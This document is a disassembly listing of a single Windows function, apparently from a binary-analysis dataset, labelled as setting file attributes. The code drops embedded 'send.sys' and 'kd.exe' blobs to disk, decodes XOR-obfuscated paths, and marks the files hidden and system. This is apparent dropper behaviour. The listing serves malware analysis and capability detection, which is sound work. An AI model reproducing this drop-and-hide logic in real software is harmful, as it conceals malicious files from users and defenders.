Function at 0x140047890
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
lea rdx, str.send.sys
lea rcx, [rsp + 0x60]
call fcn.14004ae20
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140096fb0]
movdqu xmmword [rsp + 0x50], xmm1
movabs rax, 0x7379732e646e6573
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x48], 0
mov r8d, 0x1c00
lea rdx, [0x1400cb320]
lea rcx, [rsp + 0x60]
call fcn.14004b9f0
lea rcx, [rsp + 0x68]
call fcn.14004d870
mov ebx, 6
mov edi, 2
test rax, rax
jne 0x14004794a
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx - 0x58], 0
cmovne eax, edi
or eax, dword [rsp + rcx + 0x70]
and eax, 0x17
mov dword [rsp + rcx + 0x70], eax
mov edx, dword [rsp + rcx + 0x74]
and edx, eax
jne 0x140047cbd
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], r14
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.14004ad70
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], r15
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x5c], edx
lea rsi, vtable.std::ios_base.0
mov qword [rbp + 8], rsi
lea rcx, [rbp + 8]
call fcn.140053d84
nop
lea rdx, str.kd.exe
lea rcx, [rsp + 0x60]
call fcn.14004ae20
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [reloc.OLEAUT32.dll_SysStringLen]
movdqu xmmword [rsp + 0x50], xmm1
mov eax, dword [str.kd.exe]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400969b8]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x46], 0
mov r8d, 0x23600
lea rdx, [0x1400a7d20]
lea rcx, [rsp + 0x60]
call fcn.14004b9f0
lea rcx, [rsp + 0x68]
call fcn.14004d870
test rax, rax
jne 0x140047a48
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x58], 0
cmovne ebx, edi
or ebx, dword [rsp + rcx + 0x70]
and ebx, 0x17
mov dword [rsp + rcx + 0x70], ebx
mov eax, dword [rsp + rcx + 0x74]
and eax, ebx
jne 0x140047c6d
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], r14
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call fcn.14004ad70
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x60], r15
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x5c], edx
mov qword [rbp + 8], rsi
lea rcx, [rbp + 8]
call fcn.140053d84
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs r14, 0x6dc7a6ad598214c5
mov qword [rsp + 0x40], r14
movabs r15, 0xf5ff4ed4cec4ddf6
mov qword [rsp + 0x48], r15
movabs rsi, 0x6dc7c3d53cac70ae
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r15
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, 0x26
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movabs rdi, 0x1ebed5833dec71b6
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, 0x26
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movabs rax, 0x1ee7c3d53cac70ae
mov qword [rsp + 0x40], rax
movabs rax, 0xf58c37a7e0a0b393
mov qword [rsp + 0x48], rax
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140065ce8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movabs rbx, 0x6dc7a6ad59f178a6
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140065ce8
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140065634
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140065634
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r15
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140065ce8
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
test al, 4
je 0x140047c7a
lea rbx, str.ios_base::badbit_set
jmp 0x140047c8e
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140038b40
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.1400393d0
lea rdx, [0x1400a4d98]
lea rcx, [rbp + 0x70]
call fcn.140055dc0
nop
test dl, 4
je 0x140047ccb
lea rbx, str.ios_base::badbit_set
jmp 0x140047ce0
test dil, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140038b40
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.1400393d0
lea rdx, [0x1400a4d98]
lea rcx, [rbp + 0x70]
call fcn.140055dc0
int3